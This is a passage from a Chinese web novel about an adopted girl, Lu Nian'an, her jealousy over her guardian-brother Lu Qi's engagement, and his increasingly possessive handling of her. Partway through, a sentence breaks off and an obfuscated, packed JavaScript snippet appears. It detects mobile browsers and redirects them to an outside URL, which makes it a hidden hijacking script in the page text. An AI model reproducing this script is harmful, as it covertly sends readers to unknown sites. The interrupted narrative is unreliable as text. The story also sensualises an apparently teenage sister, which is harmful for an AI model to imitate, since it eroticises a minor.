泪眼朦胧时,却瞥见一旁,还捧着托盘的小宫女已经被吓到颤抖。 他们只是宫里最低微的宫女,若是惹了主子不快,被发配到地牢里也不足为过。 那宫女只能又无措又恐惧地看着陆念安。 等待刑法的落下。 片刻后。陆念安侧过头,退后了一步,躲开秋菊落下的手。 她叹气,佯装轻松:“好啦,秋菊别担心,只是普通的茶水,我换身衣服就好了,没事的。” 语气里却压抑着哭腔。 滚烫的茶水灼烧着肌肤,比竹条刺进指腹时疼了不知道多少倍。 怎么办呢? 被秋菊带着往前走时,陆念安落寞地垂下眸,心中隐隐有了不好的预感。 今日好像有些倒霉呢。 因着衣裙被淋湿,陆念安没有去宴中,而是被带到一处偏殿先换衣。 这是一处沉寂了许久地宫殿,有些冷清,站在空荡荡地殿外,总给人浓重的恐惧。 秋菊去取额外备至的裙裳,青竹不知去向。 此时殿中,只余下陆念安和几个陌生的小宫女。 屋子有淡淡的香气,这香气浓得刺鼻,陆念安不喜欢,更不习惯周围一个熟悉的人也没有。 更糟糕的是,肩侧的肌肤,犹如被灼烧一般,又痒又疼,难受极了。 她蹲下,难受地将自己蜷缩起来。 未曾处理过的烫伤,牵扯着额间,一阵一阵的灼烧感袭来,没一会儿,就出了一身冷汗。 乌发已经湿答答粘在脖颈,陆念安闭上眼,几经晕倒时,鼻腔间嗅到了一股熟悉的冷香。 是浅淡的,柔和的,让她安心地。 而陆念安正被一双大手托了起来,半睁开眼,就同一双沉静的眼眸对上。 “哥哥?” 他是不知何时赶来,高大修长的身影被月光笼住,白衣寡淡。 陆祈摸摸她脑袋:“阿念,是哥哥。” “哥哥,”陆念安一受伤就尤为委屈,扯过他袖摆开始抽咽,不满道:“哥哥,你怎么才来呢?” “是哥哥失言了。”陆祈又替将她脖颈间的乌发抚至耳后,动作柔和。 他语调中带着淡淡的无奈:“怎一会儿不见,弄成这个样子了?” 提起这件事,肩侧被刻意忽略的灼烧感再度袭来,陆念安没有哪一刻,像此刻这般脆弱。 夜风裹挟着水汽,是冷得。 时间不早,宴席也已经过半。等秋菊拿来换好的裙裳,便又要去宴席里了。 而人人都说,今夜的宴席上,陆祈要同崔家的女儿订婚,皇上还要来当这个媒人。 “……” 那阿念呢? 几乎是瞬间,陆念安越想越难过,崩溃而哭。脆弱的心脏几经碎掉,她上前一步,扑进兄长怀中。 双手抱住眼前人的腰腹,轻声呜咽:“哥哥,阿念不想你娶崔姑娘。” “阿念。”陆祈尚不懂她突如其来的小脾气,才刚唤了一声她名字,怀中人又哭起来。 “不想就是不想,我不喜欢她,我真的不喜欢她……” 她声音破碎极了,肩也跟着侧颤抖着,好像只是说出这两句话,就用尽了全身的力气。 “阿念不想,哥哥,娶她,”她哭得岔气,声音断断续续,只抽哽着说出最后一句话:“哥哥去同皇上说,你不要娶她了。” 女孩子稚嫩的声音,落在空旷殿中,清晰而震耳。 陆祈沉默,面色有一瞬的冷下。 紧接着回归平静,他先是极为缓慢地将妹妹推开,再低垂眸看向她。 神色在昏暗的殿中,带着让人捉摸不透的晦暗。 陆念安吸吸鼻涕,怯生生仰起头,后知后觉地感受到不安。 她太害怕太无助了,从双眸中溢出的眼泪,顺着脆弱的脖颈,不断下滑。 方才茶水浇透的是肩侧和胸口。 鹅黄色裙衫此刻紧紧黏着肌肤,勾勒出属于女儿家的曲线来。灯下看她,乌发黑得如墨一般,偏生胸前的肌肤,却白得发着莹光。 陆祈没回答她的任何一个问题,此刻沉下声音告诉她:“阿念,好好换衣,哥哥在席上等你。” 他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|14090888|148128||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一贯是柔和的兄长,但此刻低声警告她,同样不融人质疑。 * 开宴没多久,皇上已经喝得个半醉。 今日里的烦心事一扫而过,圣上自是极为喜悦的,一高兴,免不得要赏赐,见人就赏,畅快极了。 大太监福海见他像是忘了什么,忙上前劝解:“皇上,小的还帮您记着的,还有花灯未放,等会儿……” “是,还有最重要的事情没做!”皇上一手拍在案桌上,连带着桌上的酒杯都颤起来。 “众爱卿随朕摆驾护国河,今日,”皇上打了个酒嗝才继续往下说:“今日,今日朕会认真看众爱卿及所有子民的愿望,挑几个,挑几个满足的。” 皇上摆驾,宴中之人皆然起身。 陆祈也缓缓起身,垂手而立,脊背挺直。 在一众身姿浮肿的大臣之间,置身事外般脱俗。 皇上自也是一低头就看见他了,难免想到这些年治国有方,还多益于陆祈的谋智治国当下走过去,在一众人面前主动关心道:“爱卿今日有什么愿望?” 也是同时,青竹缓慢上前,躲在陆祈身后说了几句话。 陆祈面上便挂起一丝浅淡的笑意:“有劳皇上挂心,只是近日里皇上也操劳不少,若要许愿望,也该您先来。” 这话一出,本就醉酒的皇上当即笑了,视线不知飘去何处,颇有兴致地拿起一旁灯盏。 众人也跟着恭维上去,等有人回头时,却发现陆大人的身影已经消散在黑夜里。 * 陆念安没等到秋菊跑来,她穿着湿漉的长裙,有些狼狈地跑到殿外。 只凭借着一腔孤勇,渡过黑暗,随意找了一处院子停下。 她很少一个人乱跑,等意识到自己做了什么以后,已经来不及。 浓而厚的黑暗,轻易就将她包围,陆念安闭上眼,觉得自己又一次被吞噬。 陆念安的记忆,在某一刻里,又回到那个秋日里—— 少年拨开黑暗,将她抱了出来。 陆念五岁以前的记忆,停留在这一刻。 被抱到军中以后,才有大夫来替她把脉,先是说她被吓到痴傻,又是说她内心封闭了记忆,以后会变成个哑巴。 而后又发生了什么? 记忆已经久远,可只要细细回想起来,还是能感受到浅浅痕迹的。 陆念安还记得,她曾短暂地还有过一个家。 也曾在天还未亮的清晨,被“家人”赶去全是尘灰的柴房劈柴,可那把长刀太大了,都快及她人高,她根本拿不起来。 没劈完柴,便没人放她出去。 于是整整两天两夜,她都呆在那间压抑的,黑漆漆的偏房中。 等门再打开的时候,她已经晕了过去。 一盆水直接浇下来,沉睡着的小姑娘冷得一个激灵,被迫睁开眼—— “没用的东西,吃我的用我的,做这点事情就委屈了?” 陆念安看着新“母亲”,一句话也没说,只低下头来,好在泪水是混着泼下的脏水一同下流。 没人能看出她是在偷哭。 不然又要被打了。 这样的日子没持续多久,陆念安被接到一户新的宅子里。 这宅子好大,到宅中的第一日,陆念安被她以为的“新母亲”洗了个干净。直到很久以后,她才知道,到陆家的头一个月,其实她一个主子也没瞧见过。 那些人都是府上的丫鬟。 换了一个新环境,陆念安还是不会说话,她是丫鬟们口中的哑巴,是大家眼中的怪人。 可没有人知道,刚来陆家的头几天于半夜晃荡,只是是她在寻有没有柴房罢。 她没有寻到柴房,而后一场高烧,却险些死在这个冬天。 夜仍旧是凉的,冷风拂过支起的窗户,一阵一阵的往屋内钻。 月光落在室内,只有微弱的光芒,落在榻上的小姑娘身侧。 初冬的天气,她榻上却只一块小毯子,薄得瘆人。 明明颤抖哆嗦着,陆念安却没有喊冷,甚至眼泪也未曾流过。 听说人在经历了痛苦以后,会想要闭眼眼睛。 陆念安沉沉睡去,感受到有一团火焰,连带着开始灼烧她的灵魂了。 她却还是没有如愿,在死亡的边缘,又被人轻轻拉起。 醒来时,耳边有淡淡的声音,她跟着望过去,见到一张有些熟悉的脸——是这个世界上,她曾睁开眼见到的第一个人。 少年不知从何处赶来,眉眼疲倦,见她睁了眼,缓步走来:“醒了?” “你这几年先暂居于府上,说是要替你改一个名……加一个安字如何?” 他说得最后一句话是:“陆念安,日后你可以唤我哥哥。” 滑落地瞬间,想起这个妹妹是个哑巴,陆祈叹声气,然后床上那个烧了三天三夜的哑巴,就仰起头乖乖朝他道:“哥哥。” 从此这一声哥哥,陆念安一唤就唤了十年。 可是今夜过去,哥哥会还要她吗? 陆念安没办法克制自己。只要一想到崔姑娘,心就一抽一抽地疼,同肩侧的灼烧感揉在一起,她有那么一个瞬间,简直无法呼吸。 她想让哥哥不要娶妻,可是哥哥将她推开了。 他还是要去那个什么宴会。 夜风拂过,将小姑娘轻薄的云纱吹起,陆念安缓缓站起身,靠近池塘,再低头看向手中的花灯。 她在偏殿瞧见了毫笔,临走前,不忘带走花灯,更不忘在花灯上写下自己的心愿。 陆念安缓缓将花灯放入眼前的池塘中,希望这朵小花能漂远一些。 如果真的有神仙看见就更好了,如果神仙姐姐愿意,求求你能不能转告给哥哥—— 阿念好喜欢他的。 50-60 第51章 第五十一章 一直到回府,陆念安都没有再同哥哥说一句话。 那根碎掉的发簪仿佛仍然在眼前晃荡,回忆起破碎的瞬间……陆念安很没骨气地将自己藏进绸被中,气呼呼翻了个身。 不知道是不是错觉。 陆念安觉得哥哥越来越奇怪了。 虽说她的确是将发簪换给捕快了,但她分明还抱着用五十银换回的心思,怎么能算是丢弃呢? 换作从前,哥哥一定会先耐心地问她原因,再静静听她的解释。 总之不会像现在这样,连问也不问一句,便笃定她是丢弃。 已经沐浴完,绸被中全是茉莉香露的气味,陆念安埋在被中,难过地深吸了几口气,才觉得心里好受了些。 她明明也很委屈,她也是被欺骗了。 里屋中寂静,高几上桃花灯被点亮,烛光透过浅粉色琉璃,轻轻笼罩着塌上的那一小团。 莲叶在这时推开门,静默着找了好一会儿,才抬步走到塌边。 “小姐,”将手中的瓷碗放于案上,莲叶拉开白丝锦被:“当心透不过气。” 蚕丝锦被顺滑,散开的黑发压在锦被之上,细腻地像是黑色绸缎。 陆念安闻声动了动,乌发下,一张莹白的脸露出,嫩生生找不出一丝瑕疵,双眸却泛红,眼中坠着湿濡的晶莹,衬得有些可怜。 莲叶微顿,很快便意识到什么:“小姐可是同大公子置气了?” 见陆念安抱着绸被不说话,莲叶了然:“公子应也是为了小姐好……” “可是哥哥他真的很过分,”这一次绝对不算是她小孩子气,陆念安心有怨气,又幽怨道:“莲叶明明什么也都不知道,为什么要帮着哥哥说话……” “没有帮着公子说话,”莲叶闻言只好叹息一声:“只是公子身边只小姐一个妹妹,公子怎会害小姐呢?” 陆念安只有两个贴身丫鬟,常陪在她身旁的是秋菊,而莲叶更多的是管理北院上下。 她对她们的信任却是一样的。 但此刻听着这番话,陆念安怎么听都不满意,轻轻哼一声:“哥哥定是同莲叶说好话了。” “怎么会?”莲叶微顿,勉强地笑了笑,才将放于桌案上的瓷碗抬起:“小姐,今日的药还未喝呢。” 煎药一直是秋菊的活,只是今日,自回到北院以后,秋菊好似就再未出现过。 陆念安后知后觉地意识到她不见了,一边接过药碗,一边有些疑惑地开口:“莲叶,怎得没瞧见秋菊?” “秋菊姐姐方才被青竹叫去西院了。”莲叶盯着她喝完药,再打开罐子,夹了两颗紫苏青梅放置于瓷盘中。 “秋菊平日里都给我四颗的,”陆念安正被苦得有些说不出来话,含了两颗梅子,又酸得她眯起眼睛来,她低声问:“那哥哥叫秋菊干甚?” “天色渐晚,不可贪多,”莲叶抬起木筷,只缓慢地往外夹出一颗青梅:“西院的事情莲叶也不知,但等小姐食完,秋菊姐姐也应回来了,再亲自去问可好?” 陆念安点头,心不在焉地咬破梅肉,有些担忧起来。 好在莲叶并不是哄她,等慢慢悠悠将梅干食完,秋菊的确已从西院回来。 推门而入时,她还穿着白日里的那件粉绿衣裳,发髻规整,神色正常,瞧着一点变化也没有。 陆念安顿时松口气,用同样的语气紧张道:“哥哥叫秋菊做甚?” 秋菊没有先回答,缓缓走屋,方才止步,便被榻上的小姑娘拉去,被迫坐下。 转过头,对上一双湿润的眼眸。 许是因为秋菊太久未说话,对于未知,陆念安总感到紧张,眨眼随之频繁起来,根根分明的睫羽正不断颤着。 秋菊看向她的目光变得复杂,很快开口:“无事的小姐,公子只同秋菊说了一句话。” 初初被叫去西院时,秋菊也会感到惶恐。 人们对于未知,总是会感到害怕。 一踏入书房,秋菊便感受到一股凉意,自然也是万分紧张。 这样的紧张总让她想起刚来陆府时。 那时刚离开家中,秋菊才不过十岁。但穷人家的孩子早当家,她非常明白自己是要去当丫鬟了。 来陆府的第一日,她也被领到这间书房内,得知自己未来的主子叫陆念安。 临走前,那位着白衣的少年,却静静看了她一眼,忽得开口提醒她——北院内刚离开十二个丫头。 这是秋菊第一次来当丫鬟,听见这话,顿时被吓得不清。 陆家给出的月俸是极高的,若是她不能留下来,便又要回家照顾弟弟。 …… 此刻她出神之际,陆祈仍只是静静地看了她一眼,淡声道:“阿念心性稚嫩,还不懂什么是为了她好。” “今日之事,作为兄长再去同她说,她大抵是嫌烦得。” 秋菊很快明白他的用意。 一时感叹作为长兄,陆祈的确是负尽了责任。 不止他看出妹妹的变动,秋菊同样察觉到陆念安对沈淮安的关心。 或许还没到喜欢的地步,但开始同情一个人,便是极危险的。 要说起来,沈大夫人的确不错,可若是嫁人,家世自是最重要的,一个穷书生,怎会是良配呢? 这话本不该她们这些丫鬟来说,但既是公子提了,秋菊也不憋着。 她并不隐瞒,将陆祈的原话说给陆念安听。 “我哪有嫌哥哥烦……”陆念安先是反驳,转过头瞧见秋菊的神色,忽然间意识到什么,后知后觉道:“那秋菊也觉得哥哥说得对吗?” “小姐,”秋菊叹声气,解释道:“你知秋菊一直是和小姐站在一边的,但秋菊的确也觉得,小姐不应再和沈大夫过多接触了。” 陆念安无意识揪住绸被,低垂下眸:“我只是将沈大夫当朋友的。” “那可是随意一个人,小姐都愿意当掉发簪去救?” “也没有,”陆念安眨眨眼:“但我同沈大夫也算是相熟,不能坐视不理。” “小姐自是心善,”秋菊笑道:“但公子说得也没错,小姐同沈大夫家世悬殊,一个深陷泥泽,需要小姐当掉发簪去相救的人,做朋友都不适合。” “连朋友也不能做吗?”陆念安有些迷茫了。 秋菊转而安慰她:“小姐你只是现下还不懂,以后就会明白的。” “怎都说我不懂,”陆念安是极听劝的,现下只嘴上哼了几句,很快便纠结着闷声道:“好吧,我明日同哥哥和好算了。” * 休沐期间,陆祈多数时间都呆在书房内,鲜少有人过来打扰。 今日一早,陆府内却迎来一位客人。 青竹有些犹豫要不要将他带入府中,林振察觉道,只好恳求了几声。 顿了顿,青竹想到昨日,还是将他带进了西院。 西院总是更为沉静,院中只一些绿树,看不见花的色彩。 书房内整齐有序,陆祈坐在一侧,正午的暖光散入,将淡色白衣染上了几分昏黄。 他视线淡然落下,林振很快紧张起来。 昨日叔父还特意同他提及过这位陆大人,结果他连这么个小事也搞砸了,林振下意识哆嗦着,解释:“陆大人,昨日着实是意外,小的只是去要个债,也不知绿坊街的人会替他报官,那几个捕快过来时,小的也很迷茫。 ” 一想到那几个捕快竟敢要陆祈妹妹的发簪,他一时打了个寒碜,不敢细想。 正恐慌之时,陆祈只是扫了他一眼便收回目光,眸色寡淡,并未多说。 青竹了然,便将林振带下去,见他紧张地紧,随口又道:“你走吧,陆大人不欲追究。” 两个人走及院中。 迎面而来的陆念安身着粉衣,她没有忘了要同哥哥和好,此刻手中还捧着一簇嫣红的花,眸间清澈。 抬眸,陆念安先是瞧见了青竹,才瞧见青竹身旁,身姿臃肿的林振。 她显然愣了愣。 第52章 第五十二章 许是因为怕生的缘故,陆念安不太认人,只有过一面之交的,她多数都是睡一觉便忘却 。 但此刻站在青竹身旁尤为熟悉的身形,几乎是瞬间,就将陆念安拉回到昨日。 青竹比她更先反应过来,很快笑着解释道:“大人命我将余下的债一并还完。” 身后是高大的榆树,枝叶繁茂,嫩叶翠绿。 树下陆念安长裙翩然,捧着花的手紧了紧,有些犹豫地问道:“还多,多少?” 青竹藏在长袖下的手便拽了拽身旁人,林振反应过来,立马如实回答:“一百五十银。” 因着医术闻名,绿坊街人人皆知沈淮安和他的干爹沈伟九。 两人从遥远的岭南而来,一开始,街坊邻居间或多或少都帮衬着他家。只是没多久,催债的人上门来了。众人这才知沈九还是个赌鬼,好赌成性,才来上京便在街角的赌坊欠了一屁股债。 还不光只赌坊,瞧父子两可怜,一些邻居也给沈九借过银两。 眼下催债的人找上门,沈九却不知跑去了哪里,只余下沈淮安一人。 他不得不一边替人看病还债,一边准备考试,但赌债是个没底的,到现在也仍旧余下一些。 “小姐不用担心,陆大人已将余下的都还干净了。”临走前,林振匆忙道了句,将讨债这事儿推辞了个干净。 * 陆念安捧着一大簇花进屋。 是清早才从园子里采摘的芍药,花瓣舒展开,层层堆叠,极亮眼的嫣红色。 “哥哥……”还未彻底走近,陆念安主动出声唤他。 闻言,陆祈悠悠放了手中的古籍,侧眸看向她。 陆念安便又不知道说什么了。 相比于昨日的沉默,她觉得自己主动求和的态度,已经算很明显了。 只是陆祈迟迟不说话,沉默间,陆念安不得不闷声又道:“我知道哥哥是为了阿念好。” 春末,她已换上更为轻薄的裙裳,身形窈窕俏丽。认错时会不情不愿地捏着指尖,还和小时候一样。 陆祈面色并无起伏,淡声唤她过来。 “哦。”陆念安便朝前方走进,最终,停在距离他一米左右的前侧。 他平静催促:“再近些。” 像是察觉到哥哥语气中的冷淡,陆念安有些不情愿,腮帮子鼓鼓地,就是不动。 使了会儿小性子,她才捏着指尖哼唧道:“不要。” 她仍站在原地不动,低垂着眸,未注意到长兄落在身侧的,越发沉着的视线。 话音刚落,陆祈扣住她的腕,伸手将她带进怀中。 一时间,清冷的松香将人裹住,陆念安被迫坐在哥哥腿上,被这突然的变故扰乱,她低低惊呼了一声。 从支起窗户的缝隙处,透进几缕柔和的日光,又被高大的身躯尽数挡住。 她生得太过娇小了,侧身靠在哥哥的怀中,纤腰一手便能握住。 沐在长兄带来的阴影里,陆念安双颊微红,有些不适应地想要逃离,便扭着腰往一旁磨蹭。 她性子软,全身上下自也是软的,没磨蹭一会儿,便觉得身下的骨头太硬。 好在终于磨蹭到边缘,陆念安累得呼出口气,脖颈间萦着晶莹的细汗。 正欲起身,纤腰却被大掌紧紧握住,瞬间动弹不得。 他收紧骨指,指腹只隔着一层薄绸,磨在妹妹最娇嫩的腰间。 “好了阿念,”他语调比往日更沉,另一只拍了拍她的肩:“好生坐着,听话些?” 这样的语调,就像是她很不听话一样。 陆念安蹙眉,只好娇声娇气地抱怨:“哥哥从前分明同阿念说,让阿念离你远一些的。” 她红唇微张,杏眸毫无震慑力地瞪着人。 深秋一种熟透了的蜜桃,被洗净以后,白里透红,薄皮上覆着晶莹水珠,不用咬破,仍往外透着十足甜腻的香气。 陆祈低下头,高挺的鼻贴着幼妹颈间:“是气哥哥从前拘着阿念了?” 温热的呼吸吐在耳侧,陆念安缩了缩,他似是察觉到,指腹摩挲着她的腰侧,安抚:“那哥哥以后不拘着阿念了,如何?” 陆念安本不是这个意思,刚想反驳哥哥误解了自己,却很快被松开。 锢住细腰的手一同被收回,陆祈侧头,单手掀开置于桌案上的匣子。 匣中托着一支金丝嵌玉花簪,金叶为托,白玉为花,金丝作蕊。 没等陆念安察觉,他抵着发簪推进乌发中,一边替她整理,一边道:“阿念自己想想,从小到大,哥哥可有让你吃过苦头?” “若是让阿念洗衣做饭,从此只能食清粥素菜,穿粗麻布衣,再不能佩金银玉饰……”他收回头,柔声问她:“阿念可愿意呢?” 髻间有些痒,陆念安抬手触了触,直接取下,瞧见是一支金簪后,一愣。 自幼到大,她从来都是吃软不吃硬,难免又想起兄长替沈大夫还得那一百五十银,已经有些感动,只嘴硬道:“阿念没有喜欢沈大夫。” “知道阿念不喜沈大夫,”他大手捏了捏她后颈,触上一片滑腻,“哥哥只是先同阿念举例。” “哥哥当然也舍不得阿念这般,”他语调越发柔和:“阿念怕是已经不记得了,从军中到宁南,哥哥赶了两日路才将你带回来,谁料只一月多未见,阿念就生了大病,哥哥几夜未睡地守着你,你自小身子弱,那一次不舒服,不是哥哥再照顾?” 陆念安愧疚地低下头,单薄地肩显得沮丧。 “阿念也要理解哥哥,”他叹息一声:“好不容易才将小阿念带大,哥哥怎舍得将阿念随意托付给旁人受苦。” “我知道了哥哥,”陆念安不在反驳什么,点点头:“我不会再同去找沈大夫了。” 直到这一瞬,陆念安才忽然有些懂了兄长的用心良苦。 她仰起头,也学着兄长举例:“如果有野猫只用一根小鱼干便将喵呜纳走,阿念也会不开心。” 陆祈奖赏般揉了揉她的脑袋。 陆念安继续道:“至少也要好多好多好多小鱼干才能纳走喵呜。” 第53章 第五十三章 意料之中的夸赞却没有,陆祈反而拍了拍她的头。 陆念安抿唇,不太高兴走到几案边,那里放着方才带来的芍药,饱满的花型,色泽艳丽。 西院内找不出这般好看的花,甚至于,连一个像样的花瓶也没有。 青竹主动库房里去寻,等待的期间,陆念安翻翻找找,打算用铰刀修剪芍药的枝干。 最后是从高柜中翻出了把稍大的铰刀,同平日秋菊给她的不一样,这把铰刀的刀柄过于宽大厚重。 铰刀太重,陆念安只能双手拿起,纤细的腕微微颤抖,用锋利的刀刃修剪掉小部分花枝,再放进素色八方瓶中。 末了,她却有些不满意,又捏着花枝将芍药取出,欲再修剪掉一截枝干,只是手腕颤抖着,重心不稳,拿着铰刀的手一松散,一不小心便剪下太多。 花枝被铰下长长的一截,变得难看极了。 “……”陆念安将铰刀放下,不明白为什么会这般难用。 刚这般抱怨,放于桌案上的银制铰刀被一只大手捏起,修长指骨游刃有余地抵在刀柄之上,咔嚓几声,便将所有花枝修剪好。 陆念安目光不由得落在长袖下那截结实有力的腕上,有浅浅的筋骨正透过皮肉凸起,浅青色筋络分明。 他的每一个动作都不带犹豫,是干脆利落的。 陆念安立刻皱起眉:“哥哥你不要乱动。” 教养陆念安插花的老师,是位颇具风雅的女先生,告诉她插花时讲究一个“静”,不急躁不慌忙,静下心了,插出来的花也会雅致。 此刻看着陆祁毫无章法地将花放入八方瓶,她欲上前阻拦,但兄长已将花尽数放入瓶中。 春意盎然,芍药花叶完全舒展开来,一大簇一大簇的,明明很随意地摆放,最后却同花瓶相得益彰,满簇嫣红,带着春日的生机,极为雅致。 陆念安看得呆愣,一边皱起眉,一边不解地疑惑为什么。 陆祁却看也未看那花,视线落在妹妹纤细柔弱的腕上,淡声问她:“阿念已许久未练剑了?” 自那年春日,清早跑去西院,却得到哥哥关于练剑的推辞以后,陆念安的确再未碰过剑。 起初是同兄长置气,那时太难过了……到后来也就慢慢搁置。 见她垂眸,陆祈已猜出多半,只让她将剑再翻找出来。 陆念安虽然疑惑,但还是心不在焉地“哦”了一声,继续凑近去看那花。 恩……应是因为花瓶好看的原因。 * 日子忽然变得忙碌起来。 从前只偶尔上半日课,多是焚香挂画之类的,清闲得很。 只是自回屋翻出那柄软剑以后,陆念安才知兄长的意味。 现如今晨日里练剑,午时又需抽空练字,零零散散几乎占据了陆念安的所有时间。 明明是从前习惯了的,陆念安却忽然觉得好累啊,无比怀恋起同姐姐玩得日子来。 叹一声气,陆念安没什么力气地躺在榻上,才歇了一小会儿,秋菊推门而入。 陆念安便扯了扯锦被,将自己盖住,懒散道:“阿念晚点在练字嘛,反正哥哥不在家又不知道……” “不是练字,”看她这般痛苦的模样,秋菊忍不住轻笑了几声:“是秋菊瞧小姐近日里尤喜花,前日里偶然见到了林老师,便托林老师送来了些。” 近日里陆念安时常去摆弄院子里的花,又常常沮丧着叹气,秋菊瞧在眼底,才想到了林老师。 林涵是教陆念安插花的老师。 曾有一次,陆念安有幸去过老师家中,整座宅子只两间屋,其余所有空地,皆拿来种花。 那日还是寒冬,雪满上京,老师家中的园子却如同春日一般。回来以后,她便一直念叨,原来冬日里还能有这样多的色彩。 秋菊将手中的一捧花放下,散发着清香的花束,也令陆念安的疲倦散开。 很快,陆念安走来接过秋菊递来的铰刀,刀柄秀气精巧,很是轻巧。 她用铰刀将多余的枝叶修剪掉,又对着花瓶比划,一点一点地修理器花枝。 这是极费时间的功夫,不知不觉中,一个整个早晨都消磨掉。 陆念安终于放了铰刀,满意地看着眼前。 浅紫色同粉白交缠,适当留出空白,花色淡雅,又作以两三种花枝相伴。 林老师送来的花不少,当下并未用尽。 等将这花瓶稳稳放在桌案以后,陆念安推门去了一趟库房,打算在挑一支素净些的浅口瓶,将余下的花也养着。 北院这边没有太多规矩, 底下的丫鬟若是将分内之事做完,也可自由歇息。 陆念安往外走时,守库房的瑞香正同一个小丫头坐在石阶上闲聊。 聊起科举,那小丫头用掌心托着下巴,一边感叹一边叹息:“唉,我要是也会读书就好了。” 要说近些时日,最多人议论的,还得是方才结束的考试。 科举三年一次,得名次者可直接入朝为官,昨日城门揭示了“金榜”,一时间引起议论纷纷,京中百姓皆在探讨着这前三名是何来头。 “唉,”瑞香跟着叹气一声,却是道:“苏公子怎么就没中呢?” 京中百姓之所以能如此关注这第一甲,还是因为殿试期间,地下赌坊又出了个新花样。 压探花郎。 第一状元郎毫无悬念。 殿试以前,当场中书令的小儿子便已连中两元,这第三元状元是触手可得,便没什么可赌的。 但榜眼和探花却难猜,苏公子同张公子不分上下,让人实在是选不出来。 瑞香犹豫了小半月,才在苏公子和张公子里,选出来苏公子,又压上了一个月月俸。 只是昨日放榜,张公子第二,可本该第三的苏公子却未中探花。 瑞香不死心,还特意跑去城门,直到亲眼瞧见不是苏公子才心如死灰。 那毕竟是一个月月俸,现在想来,瑞香仍旧难过极了。 “别难过了瑞香姐姐,”一旁的小丫头见她落寞,免不得要出声安慰上几句,便道:“总归整个京城都没几人买中,听说街角的李掌柜都想寻死啦,他可是足足压了一百两白银,现下全没了。” “这到也是。”闻言,瑞香终于觉得好受了些。 赌场的规矩,从来都是买定离手,绝无反悔的可能。而这一次,几乎让整个京城都失意的探花郎,只有极少人曾听过他的名姓。 听说还是当今皇后的堂弟……叫什么来着? 瑞香正皱着脸回忆,胳膊肘忽然被身旁人碰了碰。 那小丫头拉着她慌忙站起来:“瑞香姐姐,快别想了,小姐来了。” 穿过游廊,陆念安在台阶前止步。 见两个丫鬟正凑在一起晒太阳说悄悄话,她凑过去,眉眼弯弯地笑着:“瑞香!” “小,小姐,”瑞香站直了身子,显得有些紧张,忙道:“小姐要取什么,让秋菊姐姐支会一声瑞香便好,何至于亲自过来?” 林老师送来的花还余下一些,陆念安特意走来,是想挑一挑花瓶。 瑞香听了,一边拉开库房的门,一边松口气。 前日里,青竹来北院叮嘱过丫鬟们,告诉众人不准在小姐面前提科考一事。 当下见陆念安并未察觉什么,瑞香松口气的同时,悄悄拍了拍嘴。 进屋以后,库房内被收拾的整洁,屋内光是花瓶,摆了整整一面墙。 高的矮的,细口的宽口的皆有,只是瞧了片刻,陆念安却没找出满意的。 并非挑剔,只是高的太高,矮的又太矮,都同那花不合适。 秋菊提议:“小姐可还要去府上的库房看看?” * 陆家共有四个库房,很长一段时日,陆念安最喜的事,便是去各个库房中翻找闲书。 虽然很难翻找到,但总有被丫鬟遗漏留下的,她便悄悄拿走,等看完,又悄悄送回来。 一拿一还,便同管库房的林管家最相熟。 此刻听见她想找花瓶,林管家提前将最一侧的屋门打开。 北院放置的瓷器其实已经很多了,但还是比不过这间屋子。 宽阔的屋内,因为摆满了瓷器而显得仄逼,一排隔着一排,让人眼花缭乱般繁复。 陆念安也总算寻到自己满意的——一个精巧的青釉红高瓷瓶。 抱着瓷瓶往外走时,陆念安本想回屋继续摆弄花,只是听见从隔壁屋子传来的声音时,忽得止步。 库房内大多都是寂静的,很少有人声响动,此刻听着这动静,她转过身。 隔壁库房内,一个小厮一手拿着礼单,一边环视着屋内,等寻到礼单上的物件以后,又规整地将东西放置于红木箱中。 他已清点了整个上午,好不容易将礼单上的物件找完,松口气,一边将箱子封好。 林管家上前给他搭把手,见陆念安好奇地走来,他出声解释:“子诺小姐喜事将近,大人就替她添了两箱嫁妆,过几日便抬去知府家。” “连春日都还未过去,竟这般快吗?”陆念安低低呢喃了声,拾起一旁的礼单。 添嫁妆并不是随意添的,要讲究一个搭配得当。 陆祈是长兄,下头还有好一些表妹,若是给每个妹妹添的嫁妆相差太大,妹妹们便难免有意见。 于是这活儿一直都由林管家来操办,回回都是按碗碟、珠钗、镯子、锦绸的标准来添置。 陆念安听完,便抱着花瓶若有所思地点点头:“嬷嬷,那阿念不喜欢太过沉闷的料子,若到时也替阿念备嫁妆,可以将挑一些亮色吗?” “好,都依小姐的。”林管家先是一口答应,帮小厮将红木箱子放于台阶之下以后,她忽然缓过神,看着陆念安便忍不住笑起来。 陆念安显得有些茫然,素白指尖捏在青釉红瓶上,无措道:“怎么了?” “小姐怎么能同旁人比呢?”林管家想了想,同她打趣:“小姐若是嫁人,大公子定是替小姐将所有物件都备好的。” 林管家在陆家呆了半辈子,更是看着陆念安长大。 小姑娘虽无父无母,但有幸得长兄偏爱。 被兄长娇生惯养长大的姑娘,凡事也都有哥哥哄着,又怎会在出嫁时受委屈呢? “这样吗?”陆念安曾问过兄长同样的问题,却没得到准确的答复,当下难免又有些好奇。 她抬眸看向林管家,杏眸间闪烁着熠熠的光:“哥哥是已经替阿念备好嫁妆了?” “……”林管家刚想点头,不知想起什么,又一愣。 这几年来,林管家已陆续给陆家表妹添了三次嫁妆。 但给陆念安备嫁妆这事儿,林管家却从没收到过消息。 不应该啊,大人莫不是忘了? 林管家皱起眉,细细想着,怕是自己曾遗漏了什么。 “如何?”陆念安抱住花瓶,甜笑着追问她。 林管家只好如实摇头,有些惋惜:“这般重要之事,公子好像并未教给我,若是小姐想看,只能亲自去问问公子。” 陆念安失望地收回目光。 她并不是没问过哥哥,只是她实在不够聪慧,近日里总是听不懂哥哥说话。 * 回到北院时,天色黯淡了些,云层堆叠在一起,被染成很是好看的橙黄色。 陆念安没有去西院找哥哥,而是放下花瓶,继续摆弄着花。 等慢慢悠悠摆弄完,一抬眸,黄昏透过花窗,将橙黄暖光带进室内。 这样有意境的时刻,总叫人忍不住想些什么。 